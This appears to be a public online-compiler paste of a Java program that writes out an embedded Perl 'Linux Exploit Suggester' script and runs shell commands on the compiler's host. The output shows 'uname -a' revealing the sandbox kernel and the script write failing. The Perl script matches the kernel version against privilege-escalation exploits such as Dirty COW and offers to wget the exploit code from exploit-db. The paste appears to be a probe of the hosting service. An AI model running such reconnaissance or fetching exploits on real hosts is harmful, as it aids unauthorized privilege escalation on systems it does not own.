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  1. // Online Compiler (Java) - CompileBro
  2. import java.util.*;
  3. import java.io.*;
  4. import java.nio.file.*;
  5.  
  6. public class Main {
  7.   public static void main(String[] args) {
  8.  
  9. 		Path myPath = Paths.get(System.getProperty("user.dir"));
  10. 		writeToFile("script.pl", writePerlScript());
  11.  
  12.         executeCommand("uname -a", myPath);
  13. 	}
  14.  
  15. 	public static void executeCommand(String input, Path currentDir) {
  16.         if (input == null || input.trim().isEmpty()) return;
  17.  
  18.         // 1. Tokenize the input string
  19.         List<String> tokens = Arrays.asList(input.trim().split("\\s+"));
  20.         String command = tokens.get(0).toLowerCase();
  21.  
  22.         try {
  23.             switch (command) {
  24.                 case "cd":
  25.                     // Note: In a single string execution, 'cd' only validates the path
  26.                     // since the method finishes immediately after.
  27.                     Path target = (tokens.size() < 2) 
  28.                         ? Paths.get(System.getProperty("user.home")) 
  29.                         : currentDir.resolve(tokens.get(1)).normalize();
  30.  
  31.                     if (Files.isDirectory(target)) {
  32.                         System.out.println("Directory exists: " + target);
  33.                     } else {
  34.                         System.err.println("cd: " + tokens.get(1) + ": No such directory");
  35.                     }
  36.                     break;
  37.  
  38.                 case "clear":
  39.                     System.out.print("\033[H\033[2J");
  40.                     System.out.flush();
  41.                     break;
  42.  
  43.                 default:
  44.                     // 2. Execute as a System Process
  45.                     Process process = new ProcessBuilder(tokens)
  46.                             .directory(currentDir.toFile())
  47.                             .inheritIO()
  48.                             .start();
  49.  
  50.                     int exitCode = process.waitFor();
  51.                     if (exitCode != 0) {
  52.                         System.err.println("Process exited with code: " + exitCode);
  53.                     }
  54.                     break;
  55.             }
  56.         } catch (IOException e) {
  57.             System.err.println("Error: Command '" + command + "' not found.");
  58.         } catch (InterruptedException e) {
  59.             Thread.currentThread().interrupt();
  60.             System.err.println("Process was interrupted.");
  61.         }
  62.     }
  63.  
  64.     static void writeToFile(String filePath, String content) {
  65.         try {
  66.             // Converts the string path to a Path object and writes the content
  67.             Files.writeString(Path.of(filePath), content);
  68.             System.out.println("Successfully wrote to " + filePath);
  69.         } catch (IOException e) {
  70.             System.err.println("An error occurred: " + e.getMessage());
  71.         }
  72.     }
  73.  
  74.     static String writePerlScript() {
  75.     	StringBuilder perlScript = new StringBuilder();
  76. 		perlScript.append("use strict;\n");
  77. 		perlScript.append("use warnings;\n");
  78. 		perlScript.append("use Getopt::Std;\n");
  79. 		perlScript.append("\n");
  80. 		perlScript.append("our $VERSION = '2';\n");
  81. 		perlScript.append("\n");
  82. 		perlScript.append("my %opts;\n");
  83. 		perlScript.append("getopts( 'k:hd', \\%opts );\n");
  84. 		perlScript.append("if (exists $opts{h}) {\n");
  85. 		perlScript.append("    usage();\n");
  86. 		perlScript.append("    exit;\n");
  87. 		perlScript.append("};\n");
  88. 		perlScript.append("\n");
  89. 		perlScript.append("print_banner();\n");
  90. 		perlScript.append("my ( $khost, $is_partial ) = get_kernel();\n");
  91. 		perlScript.append("print \"  Local Kernel: \\e[00;33m$khost\\e[00m\\n\";\n");
  92. 		perlScript.append("\n");
  93. 		perlScript.append("my %exploits = get_exploits();\n");
  94. 		perlScript.append("print '  Searching ' . scalar keys(%exploits) . \" exploits...\\n\\n\";\n");
  95. 		perlScript.append("print \"  \\e[1;35mPossible Exploits\\e[00m\\n\";\n");
  96. 		perlScript.append("\n");
  97. 		perlScript.append("my $count = 1;\n");
  98. 		perlScript.append("my @applicable = ();\n");
  99. 		perlScript.append("EXPLOIT:\n");
  100. 		perlScript.append("foreach my $key ( sort keys %exploits ) {\n");
  101. 		perlScript.append("    foreach my $kernel ( @{ $exploits{$key}{vuln} } ) {\n");
  102. 		perlScript.append("\n");
  103. 		perlScript.append("        if (     $khost eq $kernel\n");
  104. 		perlScript.append("              or ( $is_partial and index($kernel,$khost) == 0 )\n");
  105. 		perlScript.append("        ) {\n");
  106. 		perlScript.append("            $exploits{$key}{key} = $key;\n");
  107. 		perlScript.append("            push(@applicable, $exploits{$key});\n");
  108. 		perlScript.append("            print \"  \\e[00;33m[\\e[00m\\e[00;31m$count\\e[00m\\e[00;33m]\\e[00m \";\n");
  109. 		perlScript.append("            print \"\\e[00;33m$key\\e[00m\";\n");
  110. 		perlScript.append("            print \" \\e[00;33m($kernel)\\e[00m\" if $is_partial;\n");
  111. 		perlScript.append("\n");
  112. 		perlScript.append("            my $alt = $exploits{$key}{alt};\n");
  113. 		perlScript.append("            my $cve = $exploits{$key}{cve};\n");
  114. 		perlScript.append("            my $mlw = $exploits{$key}{mil};\n");
  115. 		perlScript.append("            if ( $alt or $cve ) {\n");
  116. 		perlScript.append("                print \"\\n\";\n");
  117. 		perlScript.append("            }\n");
  118. 		perlScript.append("            if ( $alt ) { print \"      Alt: $alt \"; }\n");
  119. 		perlScript.append("            if ( $cve ) { print \"      CVE-$cve\"; }\n");
  120. 		perlScript.append("            if ( $mlw ) { print \"\\n      Source: $mlw\"; }\n");
  121. 		perlScript.append("            print \"\\n\";\n");
  122. 		perlScript.append("            $count += 1;\n");
  123. 		perlScript.append("            next EXPLOIT;\n");
  124. 		perlScript.append("        }\n");
  125. 		perlScript.append("    }\n");
  126. 		perlScript.append("}\n");
  127. 		perlScript.append("print \"\\n\";\n");
  128. 		perlScript.append("\n");
  129. 		perlScript.append("if (!@applicable) {\n");
  130. 		perlScript.append("    print \"  No exploits are available for this kernel version\\n\\n\";\n");
  131. 		perlScript.append("    exit;\n");
  132. 		perlScript.append("}\n");
  133. 		perlScript.append("\n");
  134. 		perlScript.append("if (exists $opts{d}) {\n");
  135. 		perlScript.append("    print \"  \\e[1;36mExploit Download\\e[00m\\n\";\n");
  136. 		perlScript.append("    print \"  (Download all: \\e[00;33m'a'\\e[00m / Individually: \\e[00;33m'2,4,5'\\e[00m \";\n");
  137. 		perlScript.append("    print \"/ Exit: \\e[00;33m^c\\e[00m)\\n\";\n");
  138. 		perlScript.append("    print \"  Select exploits to download: \";\n");
  139. 		perlScript.append("\n");
  140. 		perlScript.append("    while (1) {\n");
  141. 		perlScript.append("        my $input = <STDIN>;\n");
  142. 		perlScript.append("        $input =~ s/\\s+//g;\n");
  143. 		perlScript.append("\n");
  144. 		perlScript.append("        if ($input =~ /^a$/) {\n");
  145. 		perlScript.append("            my @selected = ();\n");
  146. 		perlScript.append("            for (my $i=1; $i <= scalar @applicable; $i++) {\n");
  147. 		perlScript.append("               push(@selected, $i);\n");
  148. 		perlScript.append("            }\n");
  149. 		perlScript.append("            download_exploits(\\@selected, \\@applicable);\n");
  150. 		perlScript.append("            last;\n");
  151. 		perlScript.append("        }\n");
  152. 		perlScript.append("        elsif ($input =~ /^(0|[1-9][0-9]*)(,(0|[1-9][0-9]*))*$/) {\n");
  153. 		perlScript.append("            my @selected = uniq(split(',', $input));\n");
  154. 		perlScript.append("            @selected = sort {$a <=> $b} @selected;\n");
  155. 		perlScript.append("            if ($selected[0] > 0 && $selected[-1] <= scalar @applicable) {\n");
  156. 		perlScript.append("                download_exploits(\\@selected, \\@applicable);\n");
  157. 		perlScript.append("                last;\n");
  158. 		perlScript.append("            }\n");
  159. 		perlScript.append("            else {\n");
  160. 		perlScript.append("               print \"  \\e[00;31mInput is out of range.\\e[00m Select exploits to download: \";\n");
  161. 		perlScript.append("            }\n");
  162. 		perlScript.append("        }\n");
  163. 		perlScript.append("        else {\n");
  164. 		perlScript.append("            print \"  \\e[00;31mInvalid input.\\e[00m Select exploits to download: \";\n");
  165. 		perlScript.append("        }\n");
  166. 		perlScript.append("    }\n");
  167. 		perlScript.append("};\n");
  168. 		perlScript.append("exit;\n");
  169. 		perlScript.append("\n");
  170. 		perlScript.append("sub get_kernel {\n");
  171. 		perlScript.append("    my $khost = '';\n");
  172. 		perlScript.append("    if ( exists $opts{k} ) {\n");
  173. 		perlScript.append("        $khost = $opts{k};\n");
  174. 		perlScript.append("    } else {\n");
  175. 		perlScript.append("        $khost = `uname -r |cut -d\"-\" -f1`;\n");
  176. 		perlScript.append("        chomp $khost;\n");
  177. 		perlScript.append("    }\n");
  178. 		perlScript.append("    if (!defined $khost || !($khost =~ /^[0-9]+([.][0-9]+)*$/)) {\n");
  179. 		perlScript.append("        print \"  \\e[00;31mSpecified kernel is in the wrong format\\e[00m\\n\";\n");
  180. 		perlScript.append("        print \"  Try a kernel format like this: 3.2.0\\n\\n\";\n");
  181. 		perlScript.append("        exit;\n");
  182. 		perlScript.append("    }\n");
  183. 		perlScript.append("    my $is_partial = $khost =~ /^\\d+\\.\\d+\\.\\d?/ ? 0 : 1;\n");
  184. 		perlScript.append("    return ( $khost, $is_partial );\n");
  185. 		perlScript.append("}\n");
  186. 		perlScript.append("\n");
  187. 		perlScript.append("sub download_exploits {\n");
  188. 		perlScript.append("    my ($sref, $aref) = @_;\n");
  189. 		perlScript.append("    my @selected = @{ $sref };\n");
  190. 		perlScript.append("    my @applicable = @{ $aref };\n");
  191. 		perlScript.append("    my $exploit_base = \"www.exploit-db.com/exploits\";\n");
  192. 		perlScript.append("    my $download_base = \"https://w...content-available-to-author-only...b.com/raw/\";\n");
  193. 		perlScript.append("    print \"\\n\";\n");
  194. 		perlScript.append("    foreach my $num (@selected) {\n");
  195. 		perlScript.append("        my $mil = $applicable[$num-1]{mil};\n");
  196. 		perlScript.append("        next if (!defined $mil);\n");
  197. 		perlScript.append("        my ($exploit_num) = ($mil =~ /^.*\\/([1-9][0-9]*)\\/?$/);\n");
  198. 		perlScript.append("        if ($exploit_num && index($mil, $exploit_base) != -1) {\n");
  199. 		perlScript.append("            my $url = $download_base . $exploit_num;\n");
  200. 		perlScript.append("            my $file = \"exploit_$applicable[$num-1]{key}\";\n");
  201. 		perlScript.append("            print \"  Downloading \\e[00;33m$url\\e[00m -> \\e[00;33m$file\\e[00m\\n\";\n");
  202. 		perlScript.append("            system \"wget $url -O $file > /dev/null 2>&1\";\n");
  203. 		perlScript.append("        } else {\n");
  204. 		perlScript.append("            print \"  No exploit code available for \\e[00;33m$applicable[$num-1]{key}\\e[00m\\n\";\n");
  205. 		perlScript.append("        }\n");
  206. 		perlScript.append("    }\n");
  207. 		perlScript.append("    print \"\\n\";\n");
  208. 		perlScript.append("}\n");
  209. 		perlScript.append("\n");
  210. 		perlScript.append("sub uniq { my %seen; grep !$seen{$_}++, @_; }\n");
  211. 		perlScript.append("\n");
  212. 		perlScript.append("sub usage {\n");
  213. 		perlScript.append("print_banner();\n");
  214. 		perlScript.append("print \"  \\e[00;35mUsage:\\e[00m $0 [-h] [-k kernel] [-d]\\n\\n\";\n");
  215. 		perlScript.append("print \"  \\e[00;33m[\\e[00m\\e[00;31m-h\\e[00m\\e[00;33m]\\e[00m Help (this message)\\n\";\n");
  216. 		perlScript.append("print \"  \\e[00;33m[\\e[00m\\e[00;31m-k\\e[00m\\e[00;33m]\\e[00m Kernel number (eg. 2.6.28)\\n\";\n");
  217. 		perlScript.append("print \"  \\e[00;33m[\\e[00m\\e[00;31m-d\\e[00m\\e[00;33m]\\e[00m Open exploit download menu\\n\\n\";\n");
  218. 		perlScript.append("}\n");
  219. 		perlScript.append("\n");
  220. 		perlScript.append("sub print_banner {\n");
  221. 		perlScript.append("print \"\\n\\e[00;33m  #############################\\e[00m\\n\";\n");
  222. 		perlScript.append("print \"\\e[1;31m    Linux Exploit Suggester $VERSION\\e[00m\\n\";\n");
  223. 		perlScript.append("print \"\\e[00;33m  #############################\\e[00m\\n\\n\";\n");
  224. 		perlScript.append("}\n");
  225. 		perlScript.append("\n");
  226. 		perlScript.append("sub get_exploits {\n");
  227. 		perlScript.append("  return (\n");
  228. 		perlScript.append("    'dirty_cow' => { vuln => ['2.6.22', '3.9.0'], cve => '2016-5195', mil => 'http://w...content-available-to-author-only...b.com/exploits/40616' },\n");
  229. 		perlScript.append("    # ... (Add other exploits here in similar format) \n");
  230. 		perlScript.append("  );\n");
  231. 		perlScript.append("}\n");
  232.  
  233. 		return perlScript.toString();
  234.     }
  235. }
  236.  
Success #stdin #stdout #stderr 0.17s 60312KB
comments (?)
stdin
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Standard input is empty
stdout
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Linux checker 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64 x86_64 x86_64 GNU/Linux
stderr
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An error occurred: script.pl
https://ideone.com/4rfrMa
language:
Java (HotSpot 12)
created:
4 hours ago
visibility:
public

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